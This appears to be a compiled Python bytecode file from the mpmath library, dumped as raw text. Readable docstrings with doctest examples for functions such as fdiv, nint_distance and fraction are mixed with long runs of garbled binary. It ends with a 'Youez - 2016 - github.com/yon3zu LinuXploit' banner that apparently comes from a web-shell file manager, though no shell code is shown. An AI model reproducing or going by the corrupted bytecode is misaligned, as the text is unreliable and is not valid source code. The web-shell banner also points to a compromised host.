        **Examples**

        The result is an mpmath number::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fdiv(3, 2)
            mpf('1.5')
            >>> fdiv(2, 3)
            mpf('0.66666666666666663')
            >>> fdiv(2+4j, 0.5)
            mpc(real='4.0', imag='8.0')

        The rounding direction and precision can be controlled::

            >>> fdiv(2, 3, dps=3)    # Should be accurate to at least 3 digits
            mpf('0.6666259765625')
            >>> fdiv(2, 3, rounding='d')
            mpf('0.66666666666666663')
            >>> fdiv(2, 3, prec=60)
            mpf('0.66666666666666667')
            >>> fdiv(2, 3, rounding='u')
            mpf('0.66666666666666674')

        Checking the error of a division by performing it at higher precision::

            >>> fdiv(2, 3) - fdiv(2, 3, prec=100)
            mpf('-3.7007434154172148e-17')

        Unlike :func:`~mpmath.fadd`, :func:`~mpmath.fmul`, etc., exact division is not
        allowed since the quotient of two floating-point numbers generally
        does not have an exact floating-point representation. (In the
        future this might be changed to allow the case where the division
        is actually exact.)

            >>> fdiv(2, 3, exact=True)
            Traceback (most recent call last):
              ...
            ValueError: division is not an exact operation

        z"division is not an exact operationr$r7r�)rRr�r"r*r�r*r$r�rHrr7rIr�r�r�r��fdivs 1







zMPContext.fdivcCs�t|�}|tvrt|�|jfS|tjurD|j\}}t||�\}}d||kr+|d7}n|s2||jfStt	|||��t|�}||fSt
|d�rP|j}|j}	n;t
|d�rs|j\}}
|
\}}}
}|rg|
|}	n$|
t
kro|j}	ntd��|�|�}t
|d�s�t
|d�r�|�|�Std��|\}}}}||}|dkr�d}|}nW|r�|dkr�||>}|j}n5|dkr�|d?d}d}n(|d}||?}|d@r�|d7}||>|}n|||>8}|d?}|t|�}|r�|}n|t
kr�|j}d}ntd��|t||	�fS)	a�
        Return `(n,d)` where `n` is the nearest integer to `x` and `d` is
        an estimate of `\log_2(|x-n|)`. If `d < 0`, `-d` gives the precision
        (measured in bits) lost to cancellation when computing `x-n`.

            >>> from mpmath import *
            >>> n, d = nint_distance(5)
            >>> print(n); print(d)
            5
            -inf
            >>> n, d = nint_distance(mpf(5))
            >>> print(n); print(d)
            5
            -inf
            >>> n, d = nint_distance(mpf(5.00000001))
            >>> print(n); print(d)
            5
            -26
            >>> n, d = nint_distance(mpf(4.99999999))
            >>> print(n); print(d)
            5
            -26
            >>> n, d = nint_distance(mpc(5,10))
            >>> print(n); print(d)
            5
            4
            >>> n, d = nint_distance(mpc(5,0.000001))
            >>> print(n); print(d)
            5
            -19

        r�rr$r7zrequires a finite numberzrequires an mpf/mpcr���)rQrr(r�r]rorl�divmodr7r�r*r$r7rr�r"r�rhr�)r�r!�typxrprqr.�rr�r��im_distr��isign�iman�iexp�ibcrmrnr�ror��re_dist�tr�r�r�r�Ysn!










�zMPContext.nint_distancecCs6|j}z|j}|D]}||9}q	W||_|
S||_w)aT
        Calculates a product containing a finite number of factors (for
        infinite products, see :func:`~mpmath.nprod`). The factors will be
        converted to mpmath numbers.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fprod([1, 2, 0.5, 7])
            mpf('7.0')

        )r�r�)r��factors�origrCrpr�r�r��fprod�s
��zMPContext.fprodcCs|�t|j��S)z�
        Returns an ``mpf`` with value chosen randomly from `[0, 1)`.
        The number of randomly generated bits in the mantissa is equal
        to the working precision.
        )r�r5ryr�r�r�r��rand�szMPContext.randcs|���fdd�d��f�S)a
        Given Python integers `(p, q)`, returns a lazy ``mpf`` representing
        the fraction `p/q`. The value is updated with the precision.

            >>> from mpmath import *
            >>> mp.dps = 15
            >>> a = fraction(1,100)
            >>> b = mpf(1)/100
            >>> print(a); print(b)
            0.01
            0.01
            >>> mp.dps = 30
            >>> print(a); print(b)      # a will be accurate
            0.01
            0.0100000000000000002081668171172
            >>> mp.dps = 15
        cst��||�Sr )rr��rprqr�r�r��sz$MPContext.fraction.<locals>.<lambda>z%s/%s)rm)r�rprqr�rr��fraction�s
�zMPContext.fractioncC�t|�|��Sr �r�r"rcr�r�r��absmin��zMPContext.absmincCr
r rrcr�r�r��absmax�rzMPContext.absmaxcCs,t|d�r|j\}}|�|�|�|�gS|S)Nr�)r*r�r�)r�r!rArBr�r�r��
_as_points�s

zMPContext._as_pointsrc	sl��|�r
t|d�st�t|�}�j}t�|j|||||�\}}�fdd�|D�}�fdd�|D�}||fS)Nr7c�g|]}��|��qSr��r�)r�r!r�r�r��
<listcomp>�z+MPContext._zetasum_fast.<locals>.<listcomp>crr�r)r�r&r�r�r�rr)�isintr*r+r(ryr�mpc_zetasumr7)	r�rXrAr.�derivatives�reflectr��xs�ysr�r�r��
_zetasum_fastszMPContext._zetasum_fast)r�F)Nr�F)r�)T)8�__name__�
__module__�__qualname__�__doc__rhrrr8r'r3r4r:r>rDrurJrzryrYr]r_rLrergrjrkrx�propertyrzr|r�r�r�r�r�r�r�r�rRr�r�r�r�r�r�r�r�r�r�r�r	r
rrrrrr�r�r�r�re:sp!V












k6
U6JBEBbrec@s.eZdZddd�Zdd�Zdd�Zdd	�Zd
S)r�FcCs||_||_||_||_dSr )r��precfun�dpsfunr�)�selfr�r$r%r�r�r�r�rhs
zPrecisionManager.__init__cst�����fdd��}|S)Ncs��jj}zH�jr���jj��j_n	���jj��j_�jrA�|i|��}t|�tur9tdd�|D��W|�j_S|
W|�j_S�|i|��W|�j_S|�j_w)NcSsg|]}|
�qSr�r�)r�rAr�r�r�r'sz8PrecisionManager.__call__.<locals>.g.<locals>.<listcomp>)r�r�r$r%rur�rQr�)r�rVrrC�r�r&r�r��gs
�
�z$PrecisionManager.__call__.<locals>.g)�	functools�wraps)r&r�r(r�r'r��__call__szPrecisionManager.__call__cCs<|jj|_|jr|�|jj�|j_dS|�|jj�|j_dSr )r�r��origpr$r%ru)r&r�r�r��	__enter__.s
zPrecisionManager.__enter__cCs|j|j_dSrf)r,r�r�)r&�exc_type�exc_val�exc_tbr�r�r��__exit__4s
zPrecisionManager.__exit__Nr)rr r!rhr+r-r1r�r�r�r�r�s

r��__main__)wr"�
__docformat__r)r��ctx_baser�
libmp.backendrrr�rrr	r
rrr
rrrrrrrrrrrrrrrrrrr r!r"r#r$r%r&r'r(r)r*r+r,r-r.r/r0r1r2r3r4r5r6r7r8r9r:r;r<r=r>r?r@rArBrCrDrErFrGrHrIrJrKrLrMrNrOrPrQrRrSrTrUrVrWrXrYrZr[r\r]�object�__new__�new�compiler��sage.libs.mpmath.ext_mainr_rg�libs�mpmath�ext_main�_mpf_modulerar`rbrcrdrer�r�doctest�testmodr�r�r�r��<module>sD�^
d
$�

Youez - 2016 - github.com/yon3zu
LinuXploit